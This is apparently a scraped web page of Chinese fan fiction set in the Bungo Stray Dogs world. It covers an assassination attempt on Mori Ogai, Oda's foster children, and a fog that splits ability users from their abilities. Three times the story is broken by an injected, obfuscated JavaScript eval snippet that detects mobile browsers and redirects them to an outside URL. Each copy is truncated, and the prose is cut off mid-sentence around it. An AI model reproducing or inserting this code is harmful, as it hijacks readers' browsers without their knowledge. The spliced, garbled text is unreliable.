我一开始没在意,以为是吃得太急呛到了。直到对方咳嗽的声音开始变得不对劲起来,听着更像是那种从喉咙深处涌上来的,压抑不住的闷咳。 我抬起头,看见他捂着嘴,肩膀微微颤抖。 “......父亲?” 话没说完,他的手放下来,掌心是一滩殷红的血。 我的脑子“嗡”地一下就炸开了。 “森鸥外?!” 受害者低头看着自己的手,表情居然还算平静。他抽了一张纸巾,慢条斯理地擦干净,又咳了两声,确认没有再出血,才抬起头来看我。 “我、我还没做好接手的准备!”我脱口而出,“您别这样!我还没学会怎么当首领呢!” 森鸥外愣了一下,似乎被无语到了。然后他笑着摇头,又咳了一声,“放心,暂时还死不了。” “我去叫医生过来。”我转身就要往外跑。 “不用。” 他的手按在我的手腕上,力道不大,但很稳。我回头,看见他已经站起来,走到办公桌边,给自己倒了杯水。 “我就是医生。”他喝了一口水,“让我想想。” 我站在原地,看着对方真的开始思考起来,目光落在虚空中的某一点,手指无意识地敲着桌面。 总有一种不妙的预感。 三秒后,森鸥外将目光移向茶几上的食盒。 我立刻炸毛,“你不会怀疑我吧?我没有!不是我!” 森鸥外的表情更无奈了,“没怀疑你。” “真的?” “真的。你今天都干了什么?仔细跟我说说。”他走过来,重新坐回沙发上,“你很有可能被人盯上了。” 我愣了一下,开始顺着他的思路思考。 “上午?上午在办公室批文件,但没批多久。”我在他对面坐下,“下午我回了一趟孤儿院。” 森鸥外的目光落在我脸上,我张了张嘴,最后把中岛敦的名字咽了回去。 “院长先生似乎不想看见我,”我叹了一口气,“他最后关门关得可迅速了。不过我出来的时候,遇见了小时候的朋友,小林阳葵。” “小林?” “嗯,她现在在警视厅实习。”我顿了顿,“我怀疑她有异能。” 森鸥外动了动眉毛,“怎么说?” “她本人似乎不知道这件事。”我回忆着晚上那一幕,“但对方竟然听过【双黑】的名号,所以......” “她是异能者。” “对。”我点头,“她的异能应该和认知或者记忆有关。要么是修改别人的,要么是修改自己的。她自己会觉得这很正常。” 森鸥外沉思片刻,“看来港口黑-手-党最近太招摇了。” “啧,都怪那个神代将人。”我颇为不满地吐槽道,“要不是那个神经病弄出来的龙头战争,港-黑才不会被包围呢。” 他沉默了一会儿,忽然笑了,“你这么一说,我倒是想起来了。过两天,政府部门要派人来会谈。” “啊?”我有些震惊,“政府部门?不是异能特务科?” “不是。”森鸥外端起茶杯,“像咱们这种组织,很难管。” 他说这话的语气很平常,但我听出了里面的嘲讽,也是事实。港口黑-手-党是犯-罪组织,明面上谁都不敢沾,但暗地里谁都在注意。异能特务科管得太严,反而让政府部门觉得有机可乘。 “他们想干什么?” “不知道。”森鸥外放下茶杯,“所以才要谈。” 我皱着眉,总觉得哪里怪怪的。政府部门、警视厅、异能特务科......难道真的是我们最近太招摇了? 我的目光无意识地扫过茶几,落在那个食盒上。 哎? “如果不是食物有问题,”我忽然说,“那就是餐具。” 森鸥外的动作顿了一下。 我们同时看向那个普通的白瓷碗,看起来和平常里用的没什么两样。但森鸥外拿起它,对着光仔细看了看,然后从抽屉里翻出一个放大镜。 “这里。”他把碗递给我。 碗沿内侧有一圈极淡的痕迹,像是釉面上蒙了一层薄薄的雾。我用指甲刮了刮,没刮下来。 “釉没有问题,”我说,“表面涂了什么东西。” 森鸥外已经拿起电话,拨了个号码。 十五分钟后,名单摆在了我们面前。 森鸥外扫了一眼,手指点在其中一行的名字上。 “这个人。”他说,“三天前刚调过来。” 我看着那个名字,想不起来是谁。但没关系,太宰会处理。 但有时候太宰也会失手的。 这家伙被送去拷问班的途中服毒自杀了,毒藏在牙齿里。 “啧,真的很让人生气,虽然森鸥外表面看起来很冷静,估计要被气死了。” 洋食馆内,我坐在织田作身边,愤愤地拍了一下桌子。“这个咖喱好辣啊,大叔!” 我目前所处的位置就是织田作家楼下的那家洋食馆,是织田作要请我吃饭的地方。 这家店的咖喱卖相很好看,蔬菜煮的很软,高汤也很清淡。唯一美中不足的地方就是味道很辣。 做咖喱的大叔擦着手,笑呵呵地回答道,“哈哈哈,很辣么?织田作很爱吃呢,每次都吃得很快。” 我看了一眼织田作的盘子,确实要见底了。 “好吧好吧,浪费食物确实不太好。大叔可以帮我再加点汤吗?” “没问题。” 等对方从后门出去后,我开始猛灌杯子里的水,期间还喝了一杯织田作递过来的咖啡。 “任务报告我看了,”我呼出一口气,直接进入正题,“投毒的事情已经查清楚了?” 织田作点头:“是【ReRe】的人。龙头战争后剩下几个漏网之鱼,这些年一直在找机会报复。” “一群讨厌鬼,这次就是冲着首领来的。”我将杯子重重砸在台面上,十分不爽地啧了一声。 “后厨的人招了吗?” “嗯。”织田作端起水杯,“他们买通了这个人,餐具上的毒是【ReRe】提供的。毒很特殊,是从一种稀有的河豚身上提取的,发作慢,但剂量足够的话,必死无疑。” “神代将人怎么死了都不让人安心。”我靠在椅背上,盯着天花板发呆。 织田作看了我一眼:“你发现的?” “我和森先生一起发现的。”我说,“他吐血的时候我差点吓死,以为我要继任首领了。” 织田作的嘴角动了动,不知道是想笑还是想说什么。最后他只是低头继续吃咖喱。 我再三纠结之后,也拿起勺子。 任务本身没什么好说的。【ReRe】的残党这次算是被彻底清理干净了,那个幕后主使在临死前交代了所有,包括他们怎么找到那个后厨的人、怎么把毒涂在碗上、怎么计划下一步刺杀。一切都很完整,完整得像是编好的故事。 但森鸥外不打算深究。有时候,完整本身就是答案。 “大叔怎么还不回来?我都快要吃完了。” “对了,”织田作忽然放下勺子,从口袋里掏出一样东西,“这个。” 我低头一看,是一个针线盒。普普通通的白色塑料盒,里面装着几卷彩色的线和几根针,还有一块半成品的布料。 “这是什么?” “真嗣他们的手工作业。”织田作打开盒子,拿出那块布料,是一个做了一半的蝴蝶结,“老师说这周要交,他们忘了做,我帮他们做一个。” 我盯着他手里的蝴蝶结,沉默了三秒。 “织田作,”我尽量让自己的语气平静,“他们都是男孩子吧?” “嗯。” “你帮他们做一个蝴蝶结?” “嗯。” “蝴蝶结?” 织田作抬头看我,语气里透着真正的疑惑,“有什么问题吗?” “没什么,”我说,“就是觉得......你确定男孩子们想要蝴蝶结吗?” 织田作低头看着手里的半成品,沉默了一会儿,“不确定。” 我:“......” “我只是想给他们一个惊喜。”他一边摸着布料一边说道,“他们没说想要什么,我就随便选了一个。蝴蝶结看起来并不难做。” 我看着他认真的表情,忽然不知道该说什么。 “你应该问问他们。”我说。 “嗯。”他点头,“下次问。” “而且,”我指了指他手里的蝴蝶结,“你这个针脚歪了。” 织田作低头看了看,又抬头看我:“你看得出来?” “废话,我可是女孩子!”我骄傲地挺起了胸膛,“就是我的动手能力有点差,你这个蝴蝶结做得还挺好看的,可以当发饰。” 他沉默了一会儿,忽然说道,“我其实不太擅长这个。” “啧,别得了便宜还卖乖啊,小心我扣你工资!” “我觉得很好看。”我说。 织田作抬起头。 “真的,”我打了个响指,“要是有人送我这个,我会很开心的。” 他看着我,眼神里有一点我看不懂的东西。然后他点了点头,把蝴蝶结收回去,继续缝。 洋食店老板端着一大桶热气腾腾的高汤出来的时候,门外也传来一阵叽叽喳喳的声音。 我转头,看见大叔后面冒出五个小孩,大的十来岁,小的只有三四岁的样子。他们跑到店门口,推开门,风铃叮当响了一声。 “哎呦,真是抱歉啊,我来晚了,还有肚子存放我新熬的高汤吗?”大叔将桶放在台面上,盛了一碗递给我。 “谢谢啊,大叔。” “织田作!” “我们回来了!” “哇,真的有客人!” “是姐姐吗?是姐姐吗?” 五个孩子一下子涌过来,围在我们桌边,七嘴八舌地喊着。我被吵得有点懵,但织田作的表情没什么变化,只是挨个摸了摸他们的头。 “这是真嗣,这是克巳,这是优,这是咲乐,这是幸介。”他一一介绍过去,又指了指我,“这是我的上司。” 五个孩子的眼睛齐刷刷亮起来。 “上司?是黑-手-党的人吗?” “是黑-手-党吧?肯定是黑-手-党!” “好厉害!” “能不能叫姐姐?” “黑-手-党会收我们这样的小孩吗?” 我被他们吵得有点招架不住,但嘴角忍不住往上翘。这些孩子,眼睛里干干净净的,什么都没有。 我看向织田作,“你平时都跟他们说什么了?怎么对黑-手-党印象这么深?” 织田作想了想:“没说什么。可能是我下班回来偶尔会提到。” “提到什么?” “提到你。” 我示意对方继续说下去。 “说你十五岁,不仅是我的上司还是副首领,”他继续缝着蝴蝶结,“很厉害。” 孩子们还在叽叽喳喳地喊。最小的咲乐扯了扯我的袖子,仰着脸问,“姐姐,黑-手-党是什么样的?工作会很辛苦吗?” 我低头看着她,将她抱起来,放在腿上。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17333668|196262||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “黑-手-党就是一群努力活下去的人。” 咲乐歪了歪头,好像没听懂。但没关系,我也没指望一个四岁的小孩能听懂。 “你们要好好努力,”我说,“好好学习,考上大学,别辜负织田作对你们的期望。” 名叫真嗣的男孩眨眨眼,“考上大学就能加入黑-手-党吗?” “......不能。” “那为什么还要考?” “因为,”我想了想,“因为织田作希望你们有更好的未来。” “我知道!织田作说过,要让我们上学,以后想干什么干什么!我要好好学习,将来考上东大!” “噫,优你个马屁精!” “克巳今天小考没有及格。” “啊!辛介你不是答应我不说的吗!” 孩子们又叽叽喳喳地讨论起来,什么“我要当黑-手-党”“我要开咖喱店”“我要当警察把你抓走”。 大叔给我做了一份不辣的咖喱,织田作忙活半天,最后将手里的半成品做好了。 离开的时候,夕阳已经落下去了,天边只剩一抹橘红。我站在咖喱店门口,看着织田作把孩子们一个个推上楼,十分感慨,“他们真的很可爱欸。” 织田作回头看我。 我斟酌了一下措辞,“你真的很会养孩子。” 他沉默了一会儿,点了点头,“谢谢。” 然后他想起什么似的,从口袋里掏出那个蝴蝶结。 “这个,”他递给我,“送给你。” 我有些意外。 “你刚才说,有人送你的话会很开心。”他的语气很平淡,像是在陈述一个事实,“所以送给你。” “哇,谢谢。”我接过,冲他摆摆手。 他点点头,转身进了店里。 **** 我回到港-黑大楼的时候,遇见了红叶姐和中原中也。 “是小枝呀,刚出任务回来?”。 “是的,红叶姐。”我开开心心地跑过去,扑到对方怀里撒娇,“好累,希望明天的任务中也帮我做。” “呵,你做梦。”中也冷笑一声,双手插着口袋靠在墙上。 “中也也很累的。”红叶姐拍了拍我的脑袋,“不过你们可以互帮互助。” “谁要她帮忙!” 我眨眨眼,“什么事?” “是直系下属的事,”红叶姐合上扇子,“中也和太宰很快就要升干部了,直系下属的名额得有人补上。” 我看向一旁的赭发少年,“哎,旗会里没人想当吗?” 中也哼了一声,“钢琴家当上干部之后就分出去了,单独负责北区那一块。旗会现在忙得不可开交,谁有空来当什么预备役。” 我想起来了。钢琴家是旗会里最早升干部的,龙头战争后,整个旗会都被分出去单独负责一个区域了。至于剩下那些人,一个个都是技术型人才,让他们去带队伍,确实有点为难。 “你呢?”红叶姐忽然问,“你那个直系下属怎么样?” 我知道她问的是织田作。 “很好啊,人靠谱,做事稳,不用我操心。”我说,“今天刚汇报完【ReRe】的事,任务完成得很干净。” 我掏出兜里的蝴蝶结,“他还会做手工哦!” “又是【ReRe】。”中也挑了下眉,“真是阴魂不散。” “嗯,残党作乱,已经处理了。” “那就好,难得遇到一个合适的下属。”红叶姐点点头,“这个蝴蝶结做得还蛮好看的。” “是的呀是的呀,我打算把它别在头上......” 我话还没说完,旁边忽然插进来一个声音。 “哇,那还真是可惜啊。” 我转头,看见太宰治从那边的阴影里走出来。 “可惜什么?”我没好气地问道。 “可惜我还没找到满意的下属。”他歪着头看我,“我觉得只有副首领才符合我的条件。” 硬了。 拳头硬了。 我瞪着他,举起右拳,“你是在说混账话吗?” “......哎?” “让一个副首领干直系下属的活?”我指了指自己,“我管着半个组织的人,还要亲自带一个小队,很累的好吧!” 太宰治眨眨眼,笑得更欠揍了,“只是想想而已嘛。要是副首领大人愿意给我当直系下属,我一定天天给你送花。” “滚啊!” “小孩子不能说脏话啊!” “我没有,红叶姐!都怪中也,谁叫他不帮我!” “中也,小枝她还只是个孩子......” “哈?跟我有什么关系啊大姐!明明是太宰这个混蛋干的好事!” “嘿嘿。” “你看,他还笑!” 就在这时,太宰治的手机震了一下。他低头看了一眼,表情没什么变化,但我注意到他的眼神变了一瞬。 “怎么了?”我问。 “广津先生发来的邮件。”他抬起头,“黑蜥蜴抓到一个可疑的男人,试图刺杀森首领。” 我的神经一下子就绷紧了,“刺杀首领?哪个不要命的?” “嗯,”太宰治收起手机,“而且那个人一直在念叨你的名字。” “啊?哪里来的变态!” “确实很变态哎。”他看着我的眼睛,“神神叨叨的,说什么‘只有她能理解我’之类的。” 我心里忽然涌起一股不好的预感。 “人在哪?” “地下审讯室。” 我点点头,向红叶姐她们道别后转身就走。 地下审讯室的门被推开时,广津柳浪正站在里面。他看见我,微微欠身,“副首领。” “人呢?”我走进去。 广津侧开身,让我看清审讯室里的情况。 椅子上坐着一个人。 白色的头发,红色的眼睛,身上的衣服沾着灰尘和血迹,但表情却平静得近乎诡异。他低着头,像是在思考什么,听见脚步声,慢慢抬起头来。 然后他笑了。 “你来了。” 我站在门口,看着他,脑子里的那根弦忽然就断了。 “我去,涩泽龙彦!”我捂住心脏,万分震惊,“你怎么在这里!” 35.关于DEAD APPLE “你怎么在这里!” 涩泽龙彦抬起头,那双红色的眼睛直直地看着我,说出了和他的表情完全不符合的话。 “命。”他语气平淡,“是不公平的命指引我来的。(1)” “......你拽什么文学呢?说人话!” 我妈说了不让我跟脑袋有坑的家伙玩! 审讯室里安静了三秒。 就在我准备开口再问点什么的时候,周围的景色突然变了。 一瞬间,墙壁、天花板,就连我脚下的地面也消失了。 取而代之的是一片浓稠的白雾,从四面八方涌过来,转眼间就把整个审讯室吞没。 “啊?” 我下意识后退一步,却撞上了什么东西。转头一看,是刚才一直在门外的广津柳浪。他站在原地,一脸茫然。 “副首领大人,这是?” “异能。”我的脑子飞快地转起来,快速回复,“是涩泽龙彦的异能——嘶,这个混蛋。” 雾越来越浓。混蛋的身影在雾中渐渐模糊,最后完全消失。他走了,走之前还留了一个意味深长的笑容。 该死。 “老爷子!”我抓住他的手臂,“我们必须找到太宰和中也!” “太宰大人和中也大人?”广津的似乎有点疑惑。 “太宰的异能是无效化,他能终止这一切。”我飞快地说,“中也的【污浊】太危险了,如果他的异能也分裂出来大肆破坏的话,整个港-黑大楼都要没了,到时候我们就无家可归了!” 话音刚落,雾中传来一阵奇怪的声音,像是有什么东西在靠近。 我和广津同时转过头,看见雾中浮现出一个人形轮廓。来者越走越近,越走越清晰,直到我看清了对方的原貌,是广津柳浪的人形异能。 一样的银发,一样的和服,一样的沉稳表情。唯一的区别是额头上嵌着一颗宝石,在雾中散发着幽幽的光。 “老爷子,”我压低声音,“那是你的异能。” 广津柳浪没说话,但手已经握住了腰间的刀。 人形异能停在三步开外,看着广津,然后直接扑了过来,速度很快。广津侧身躲开,抽出刀,和它缠斗在一起。 我退到一边。 “广津先生!”我喊,“你要想办法收服它!打碎它额头上的宝石!” 老爷子没有回答,改变了攻势,朝着那颗宝石逼近。 三分钟后,广津的刀尖刺穿了那颗宝石。 人形异能发出一声低沉的嘶鸣,然后化作一缕白烟,融回了广津的身体里。他站在原地,微微喘息着,然后收起刀,看向我这边,“副首领大人,我们需要时刻保持警惕,您的异能......?” “啊,你说这个。”我挠挠头,有些尴尬,“它们早就在这里了。” “它......们?” “嗯。”我点头,抬手指向走廊的方向,“在那看了半天了都。” 广津顺着我的手指看过去,然后露出一个一言难尽的表情。 三个人形异能从雾中走出来。 中间那个最显眼是个白发女孩,穿着一件素白的裙子,光着脚。她的眼睛是浅灰色的,像雾的颜色,额头却嵌着一颗红色的宝石。 左右两边,各站着一个人形异能。 左边那个,身形和发色都和森鸥外一模一样,穿着白大褂,额头上嵌着一颗紫色的宝石。 至于右边那个,是旗会里的医生。 三个人形异能站在雾中,齐刷刷地看着我们。 我更尴尬了,怎么有种孩子招笑母亲丢脸的感觉。 “那个,老爷子。”我往广津身边凑了凑,“我可以解释的。” 广津没说话。他的表情很复杂,复杂到我一时分不清那是震惊、困惑,还是别的什么。 “三个?”他终于开口,声音有点干涩,“副首领大人,您有三个人形异能?” “啊,对。” “......” “我知道这不太正常。可能是我的异能具有分裂症吧。” “......” “但您看,我自己也控制不了它们,它们从来不听我的话。”我摊手,“而且我日常任务中很少用异能的,可能它们生气了?。” 广津沉默了三秒。 “副首领大人,”他突然意识到什么似的说道,“您忘了说最重要的一点。” “什么?” “它们长得像谁。” 我顺着他的目光看过去。 那个白发女孩——很显然就是主体了。森鸥外那个,难道是九岁时的第一次分裂?按照这个道理的话,另一个就是当时救医生的那次了。 “啊。”我说,“这个,这个我也不知道为什么。” 广津看着我,眼神里写满了“您觉得我会信吗”。 就在这时,那三个人形异能朝我们冲了过来。 “小心!” 我一把推开广津,自己往另一边滚去。攻击擦着我的肩膀掠过,打在墙上,轰出一个大洞。 报销!这得报销! 我爬起来,准备迎战,却发现那三个家伙根本没有停下来,直接掠过我们,头也不回地冲进了雾里。 我:“......哎?” 广津走过来,和我一起看着它们消失的方向,“它们这是?” “不知道。”我皱起眉,“竟然不是冲着我来的。” “除了异能的主人,还能冲着谁?” 我沉默了,想了半天都没想明白。 “副首领大人?” “老爷子,”我转身看向他,强迫自己冷静下来,“分头行动吧。我去找太宰和中也,您去找森首领和红叶姐。” 广津点头,“明白。” “小心点。”我拍了拍他的手臂,“那些异能不好对付。” “您也是。”他欠了欠身,转身消失在雾里。 我站在原地,稍微思考了一会,决定先去找中也。 中原中也很好找,只要往骚动最大的地方走,就一定能找到他。 我沿着动静最大的方向冲出了□□大楼,看见中也正站在街角,和他的异能打得不可开交。他的异能也是一个人形,看起来和他一模一样,只是表情更阴沉一些,出手更狠辣。 但让我意外不是这个,而是我其中一个人形异能也在那儿,是刚刚跑掉的医生形象,名字是悬壶救世。 对方没有加入战斗,而是站在旁边,盯着中也的异能看。露出来的眼神也怪怪的,没有敌意和攻击欲,更像是在认真观察。 伴随着我的到来,污浊了的忧伤似乎也注意到了它。它停下攻击,转头看向悬壶救世,脸上露出一个困惑的表情。 然后它们开始了互动。 没有打架,悬壶救世往前凑了凑,污浊了的忧伤往后退了一步。悬壶救世又往前凑了凑,污浊了的忧伤又往后退了一步。 我跑到中也身边的时候,正好看见这一幕。 “什么情况?”我喘着气问。 中也的脸色很不好看,“你问我?那不是你的异能吗?” “是我的没错,但只是其中一个。” “......哈?” 中也似乎没明白我是什么意思。我们俩站在街角,看着那两个人形异能像跳探戈一样你进我退、你退我进。悬壶救世一直都很温和,至于污浊了的忧伤就不一样了,短短几秒内我目睹了对方精彩的表情变化。 ......被长辈盯着看的小辈的不自在? “中也,”我盯着悬壶救世,说出了自己的发现,“你有没有觉得,它看你的异能的眼神有点奇怪?” “什么眼神?” “就......那种,”我斟酌着用词,“母性的光辉?” 中也的脸黑了。 “你说谁需要母性的光辉?!” “我不是说你需要!我说说你的异能!” “那不就是我?” “这两者之间有什么必然的联系......哎,还真有欸。” 我们俩吵了两句,又诡异地同时停下来,继续盯着那两个人形异能。医生异能往前凑,中也异能往后躲。医生异能再往前凑,中也异能再往后躲。 就这么重复了七八遍。 我皱着眉,看着它们,脑子里忽然闪过一个念头。 “等一下。”我按住中也的手臂,“你看它们在干什么?” “干什么?不就是在那瞎折腾吗?” “不对。”我盯着它们的位置变化,“你看,它们每次移动之后,都昂首挺胸,似乎在暗暗较劲。” 中也顺着我的目光看过去。 两个人形异能又动了一次。这次,它们同时挺直了背,仰起头,盯着对方的脸。 我猛地一拍手掌,“我知道了!” 中也被我吓了一跳,“知道什么?” “它们在比身高!” 中也:“......” 赭发少年的表情凝固了,下一秒,他炸了。 “比身高?!怎么可能!” “冷静啊中也,起码还在握们的接受范围之内啊。” “哼,难道还能做出什么更过分的事——” 话音未落,悬壶救世忽然伸出手,摸了摸污浊了的忧伤的头。 “哇哦。”我小小地惊叹了一声。 对面两个异能丝毫没受这边的影响,反而摸着对方脑袋的悬壶救世脸上带着一种说不清道不明的慈祥。后者站在原地,表情从震惊变成茫然,从茫然变成委屈。 “它委屈什么!”中也炸毛,“那是我的异能!它委屈什么!” 我认真思考了一下,“可能因为被摸头了?” “我不需要被摸头!” “但它不是你,它是你的异能。” “那不就是我!” 怎么又陷入死循环了! “行了行了,”我打断他,“先别管这个,赶紧把你的异能收回来!” 中也深吸一口气,冷静下来,“我正在努力。但你的异能一直在旁边干扰,它没法集中注意力。” 我看过去,对面还在保持着这个动作。但污浊了的忧伤的表情已经从委屈变成了认命。 “那我帮你。”我说。 “你怎么帮?” “emmmmmm,”我想了想,“我去把它引开。” 中也看着我,眼神里写满了“你确定?” 我此刻十分确定。 很快我就后悔了。 三分钟后,我和中也趴在地上,被各自的异能踩在脚下。 悬壶救世踩着我的背,表情依旧温和,还带着点平静的慈祥。污浊了的忧伤踩着他的背,浑身上下都是报复成功的得意。 “你不是说你去引开它吗?!”中也的脸贴着地,声音闷闷的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“不是馊主意。”我盯着地面,努力憋住笑,含糊道,“你的异能看起来太得意了,我让它得意不起来,你趁机出手。” 中也看了我一眼,没说话,算是默认。 我深吸一口气,然后对着污浊了的忧伤大喊,“喂!你!那个矮子的异能!” 对方低头看我,眼神里带着一点警惕。 “你有多高?有你主人一半的身高吗?”我继续说,“一米六?一米五?不对,一半应该是——唔!” 中也的脚踢在我腰上。 “......你干嘛!” “你刚才说了什么!” “我说你的异能!又不是说你!” “那不就是我!” 我有点崩溃,“怎么又回到原点来了啊!” 悬壶济世低下头,看着我们俩,眼神里带上了一点无奈。污浊了的忧伤也低下头,看着我们俩,眼神里的警惕变成了,更像是困惑? 它好像在思考“一米五”和“一米四”是什么意思。 虽然被踢了一脚,但结果是好的。 我和中也同时暴起。这次依旧扑向各自的异能。 污浊了的忧伤还没反应过来,就被我一拳砸在额头上的宝石上。悬壶救世立刻着急起来,下一秒就被中也锁住了脖子。 宝石碎裂的声音同时响起。 两个人形异能化作白烟,融回我们的身体里。 我站在原地,喘着气,感觉全身都在疼。中也站在旁边,也没好到哪里去。 “刚刚,对不住了,我没控制住下意识的反应。”赭发少年似乎有些不好意思,“你没事吧?” “有事,走不了了,”我捂住腰,开始耍起无赖,“我的腰!我的背!我的波棱盖儿!如果有人背我的话就不疼了。” “喂,后两个是什么鬼!” “别管,我有自己的节奏。” “你这就是耍无赖!” “所以你背不背?”我打断他。 “......背。” “往左走,别回去。”我趴在他背上,周围充满了重力的味道,“太宰在那里。” 中也愣了一下,“你怎么知道?” “感觉到了。”我指指自己的脑袋,“其中一个异能回来了,我能感觉到其他异能的位置。太宰的异能也在,但它的位置一直没动过,估计就是太宰本人。” 中也点点头。 “嗯。”我松了一口气,“走吧,去找太宰。” 我们朝着雾的深处走去。走了几步,中也忽然问,“你的异能为什么会分裂成三个?” “你这个问题有点智障。” “......我觉得你再说下去的话,我真的会控制不住,把你扔下去的。” “别啊,说不定是因为它太像人类了吧。”我用力勒住对方的脖子,确定不会被扔下去后继续说道,“本体会分裂,所以有三个很正常。” “松、松开!要被勒死了......” “那你保证不会把我扔下去!” “我保证还不行吗!你赶紧的松开一点。” “知道啦~” 36.关于THICK FOG(2) 找到太宰的时候,他本人被倒吊在了一根路灯杆上。 脚被什么东西绑着,头朝下,整个人晃来晃去。他看起来快不行了,脸憋得通红,看见我们竟然还能笑得出来。 “哎呀,你们来了。”他的声音有气无力的,“我等了好久。” 我顾不上理他,急忙看向另一旁的人形异能。 是那个像森鸥外的,名字是【未来福音】 这家伙站在太宰的异能旁边,缩着脖子,眼神躲闪,一副想靠近又不敢靠近的样子。而让他这么害怕的和太宰长得一模一样,额头上嵌着黄色宝石的家伙正居高临下地看着它,嘴角挂着欠揍的笑容。 “这是什么情况?”中也问。 “它怕太宰的异能。”我解释道,“对它来说,无效化就是天敌。” 中也的表情变得微妙起来。 太宰在那边晃了晃,“你们能不能先把我放下来再讨论?” 我走过去,抬头看着被倒吊的太宰,忽然想起一件事。 “你都这个样子了,”我说,“为什么它不敢靠近?” “我现在是一个普通人,我的异能不是。”太宰说,“它在我旁边站着,另一个当然不敢。” 我转头看向未来福音。它一直盯着人间失格的方向,眼里带着警惕,完全不敢往太宰本人那边靠近。 “太ooc了。”我喃喃道。 “什么?” “这个动作和表情,”我说,“这太ooc了。森先生会露出这种表情吗?” 太宰笑了一声,“森首领在你心里形象这么高大?” “那当然——等等,你什么意思?” “没什么意思。”太宰晃了晃,“就是觉得,森首领在你心里的形象,似乎和别人心里不太一样。” 我瞪着他,“就算他没形象,还有如此优秀的我呢!” 对方眨了眨眼。 中也在旁边不耐烦地开口,“行了行了,先把他弄下来。太宰,你快把你的异能收回去。” 黑发少年叹了口气,“做不到啊。” “......什么叫做不到?” “人间失格不听我的。”他看向那边,“你看它那样子。” 我顺着他的目光看过去。人间失格正叉着腰站在那里,一副“老子天下第一”的架势。未来福音缩在角落里,瑟瑟发抖。 “哇哦,看起来要称王了。” “是吧。”太宰治微微一笑,语气愉快道,“况且靠近还会有小惊喜哦。” 我的心里涌出一种不妙的预感,“什么惊喜?” “别废话了,直接上。” 我俩在这边闲聊的时候,另一边的赭发少年已经抽出刀,朝着人间失格冲了过去。 然后我就知道太宰口中的“惊喜”是什么了。 刀尖触碰到对方的瞬间,污浊了的忧伤又冒了出来,一把推开人间失格替它挡下了这一刀。而悬壶救世则是趁机击退了攻击者。 太宰在那边晃了晃,“有意思。” “有意思个头!”我冲过去,想抓住我的异能,但它根本不听我的。悬壶救世躲开我的手,往人间失格那边靠了靠。 我一下子警觉起来,这是选择了对方而不是我这个原主人吗? “中也,”我喊,“先打主人公!” 中也冲了上去,一拳砸在人间失格的脸上。后者踉跄了一步,还没站稳,就被中也从后面锁住了脖子。 我扑过去,将匕首插进宝石里。 宝石碎裂的声音响起。 人间失格愣一瞬。它低下头,看着自己正在消散的身体,嘴角的笑容僵在脸上。 然后它跑了。 是真的跑了,化作一缕白烟,消失在雾里。 我站在原地,喘着气,看着它消失的方向,“怎么跑了?不是应该回到太宰身上吗?” 太宰在那边晃了晃,忽然开口,“啊,我知道了。” 我们同时看向他。 “我的异能是无效化。”太宰说,“想让异能回来,唯一的办法是让浓雾里所有的异能都回到各自的主人身上。” “所有的?” “对。”太宰点头,“只要还有一个异能没收回,我的异能就不会回来。” 中也的脸黑了,“那得找到什么时候?” “很简单啦,中也是没有信心吗?” “闭嘴,混蛋一号!” 无视另两人的拌嘴,我看向周围。港口黑-手-党的据点被浓雾包围,似乎看不到尽头。 **** 小林阳葵,今年十七岁。 身为国家安全委员会直属警视厅的实习生的她,同时也担当着武装异能警察局特殊作战部队预备员这一身份。 小林阳葵从不相信命运这一说,她坚定地认为凡事发生必有它的道理。 而她需要做的,就是坦然接受这一切。 七岁那年,小林阳葵凭着自己的努力被一对富豪夫妇成功收养,成为了孤儿院里第一个有家的孩子。 她第一次坐上了轿车,第一次穿上了漂亮的裙子,第一次见到那么大的房子,也是第一次开口叫爸爸妈妈。 这对夫妇有一个已经去世的女儿。严重的悲伤摧垮了身体,从那之后,他们丧失了生育能力,小林阳葵成为了唯一的继承人。爸妈带着她去落户口,而小林阳葵也正式改名为春日井阳葵。 春日井,这确实是个好名字。“春”是万物复苏的季节,“井”是深不见底的静水,春日暖阳,井水清冽,阳葵的眼睛里装满了生机勃勃。 父母很忙,但他们总会在百忙之中抽出时间来陪伴阳葵。或许是偶尔提出的一次郊游,又或许是想逛的商场与美食街,阳葵的所有要求都被满足,却不需要被迫给予回报。 八岁那年,父母送她的生日礼物是自家的一小部分产业,这让小小的阳葵明白,父母身上背着大大的责任。 求学途中,阳葵开始接触家里产业的相关事务。她在这方面做得很好,好到连父母都都觉得不可思议。 “春日井,我的姓氏。”面向那些股东时,她总会这么介绍自己,“春是万物复苏的季节,井是深不见底的静水,我是春日井阳葵。” 合在一起,这就是阳光照进深井的美好意象。 阳光确实会照进深井,但明亮却不会到底。 这是八岁前的阳葵,一直忽略的事情。 即将步入九岁的阳葵,在生日前夕,迎来了人生中的第一次异能暴走。 那时的阳葵不知道什么是异能暴走,也不知道接下来会发生什么。她只是像往常一样抱着母亲撒娇不肯睡觉。 但当一向和蔼的母亲用力推开自己,父亲用疑惑的表情看过来时,阳葵突然就明白了这一切。 【春水】,她的异能力,可以修改自己或他人的认知。 就在刚刚,她的异能击中了自己的父母,让他们忘记了阳葵的身份。 阳葵被抛弃了。 抛弃这个词或许太过严重,总而言之,阳葵的姓氏又改成了小林。 小林阳葵,最初的最初,一切都回到了原点。 父母还沉浸在失去女儿的痛苦之中,阳葵的异能让悲痛更刻苦铭心,他们无法接受眼前的一切。 春日井夫妇选择了报 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 